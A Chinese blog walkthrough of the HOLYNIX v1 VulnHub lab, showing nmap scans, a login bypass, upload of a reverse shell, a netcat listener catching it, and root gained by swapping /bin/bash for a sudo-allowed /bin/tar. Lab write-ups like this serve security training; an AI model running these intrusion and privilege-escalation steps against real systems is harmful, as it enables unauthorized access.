HOLYNIX: V1

最新推荐文章于 2024-07-30 22:13:50 发布

TryHardToKeep

最新推荐文章于 2024-07-30 22:13:50 发布

阅读量339

点赞数

分类专栏：打靶渗透测试 vulnhub 文章标签： linux 网络安全 web安全

本文链接：https://blog.csdn.net/mysmycbx/article/details/129548961

版权

打靶同时被 3 个专栏收录

35 篇文章 0 订阅

订阅专栏

渗透测试

35 篇文章 0 订阅

订阅专栏

vulnhub

30 篇文章 1 订阅

订阅专栏

文章描述了一位安全研究员使用Nmap进行网络扫描，发现了一台运行Apache和PHP的Linux服务器，并且存在SQL注入、慢lorisDoS攻击漏洞以及可能的CSRF问题。研究员通过上传恶意脚本并利用特定用户权限（如无密码限制的`chown`,`chgrp`,`tar`,`mv`命令）成功获得了root权限。

摘要由CSDN通过智能技术生成

HOLYNIX: V1

https://www.vulnhub.com/entry/holynix-v1,20/
在这里插入图片描述

主机发现

# yunki @ yunki in ~/vulnhub/holynix [19:25:02] 
$ nmap -sn 192.168.54.0/24

Nmap scan report for 192.168.54.6
Host is up (0.00074s latency).

nmap扫描

# yunki @ yunki in ~/vulnhub/holynix [19:26:17] 
$ sudo nmap --min-rate 10000 -p- 192.168.54.6         

PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:0C:29:BC:05:DE (VMware)


# yunki @ yunki in ~/vulnhub/holynix [19:26:30] 
$ sudo nmap -sT -sV -O -p80 192.168.54.6

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch)
MAC Address: 00:0C:29:BC:05:DE (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.24 - 2.6.25
Network Distance: 1 hop

# yunki @ yunki in ~/vulnhub/holynix [19:26:56] 
$ sudo nmap -sU -p80 192.168.54.6

PORT   STATE  SERVICE
80/udp closed http
MAC Address: 00:0C:29:BC:05:DE (VMware)


# yunki @ yunki in ~/vulnhub/holynix [19:27:02] 
$ sudo nmap --script=vuln -p80 192.168.54.6

PORT   STATE SERVICE
80/tcp open  http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /login.php: Possible admin folder
|   /login/: Login page
|   /home/: Potentially interesting folder
|   /icons/: Potentially interesting folder w/ directory listing
|   /img/: Potentially interesting folder
|   /index/: Potentially interesting folder
|   /misc/: Potentially interesting folder
|   /transfer/: Potentially interesting folder
|_  /upload/: Potentially interesting folder
| http-sql-injection: 
|   Possible sqli for queries:
|     http://192.168.54.6:80/?page=login.php%27%20OR%20sqlspider
|     http://192.168.54.6:80/?page=login.php%27%20OR%20sqlspider
|     http://192.168.54.6:80/?page=login.php%27%20OR%20sqlspider
|     http://192.168.54.6:80/index.php?page=login.php%27%20OR%20sqlspider
|     http://192.168.54.6:80/?page=login.php%27%20OR%20sqlspider
|_    http://192.168.54.6:80/index.php?page=login.php%27%20OR%20sqlspider
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_http-trace: TRACE is enabled
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.54.6
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://192.168.54.6:80/?page=login.php
|     Form id: 
|     Form action: /index.php?page=login.php
|     
|     Path: http://192.168.54.6:80/index.php?page=login.php
|     Form id: 
|_    Form action: /index.php?page=login.php
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
MAC Address: 00:0C:29:BC:05:DE (VMware)

web渗透

在这里插入图片描述

可以上传文件，去试试。却发现：

没有上传文件的权限，这里通过查看directory目录，发现有很多用户，尝试万能密码用其他账户登录。
在这里插入图片描述

写一个反弹shell，打包成tar.gz文件上传到靶机上，选择自动解压。同时kali开启监听。

这里上传成功了，但是不知道该文件位置，那就扫一目录吧。

这里扫到了upload文件夹，进去却没有看见shell.php,返回来看这里，它说的是上传到Home directory，那就试一下home文件夹。
在这里插入图片描述
该用户为eteenenbaum，那就访问http://192.168.54.6/~etenenbaum/shell.php

获取初始shell

# yunki @ yunki in ~ [19:46:59] 
$ sudo nc -lvnp 443                                                                     
listening on [any] 443 ...
connect to [192.168.54.128] from (UNKNOWN) [192.168.54.6] 36909
Linux holynix 2.6.24-26-server #1 SMP Tue Dec 1 19:19:20 UTC 2009 i686 GNU/Linux
 00:16:12 up 33 min,  0 users,  load average: 0.01, 0.04, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: can't access tty; job control turned off
$ whoami
www-data
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 00:0c:29:bc:05:de brd ff:ff:ff:ff:ff:ff
    inet 192.168.54.6/24 brd 192.168.54.255 scope global eth0
    inet6 fe80::20c:29ff:febc:5de/64 scope link 
       valid_lft forever preferred_lft forever

提权

$ sudo -l
User www-data may run the following commands on this host:
    (root) NOPASSWD: /bin/chown
    (root) NOPASSWD: /bin/chgrp
    (root) NOPASSWD: /bin/tar
    (root) NOPASSWD: /bin/mv
    
# 有四个root权限指令。
# 先把tar备份一下，再将bash 修改为tar。
# 最后sudo tar就是执行sudo /bin/bash，成功得到root权限
$ sudo mv /bin/tar /bin/tar.bak
$ sudo mv /bin/bash /bin/tar
$ sudo tar
whoami
root
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 00:0c:29:bc:05:de brd ff:ff:ff:ff:ff:ff
    inet 192.168.54.6/24 brd 192.168.54.255 scope global eth0
    inet6 fe80::20c:29ff:febc:5de/64 scope link 
       valid_lft forever preferred_lft forever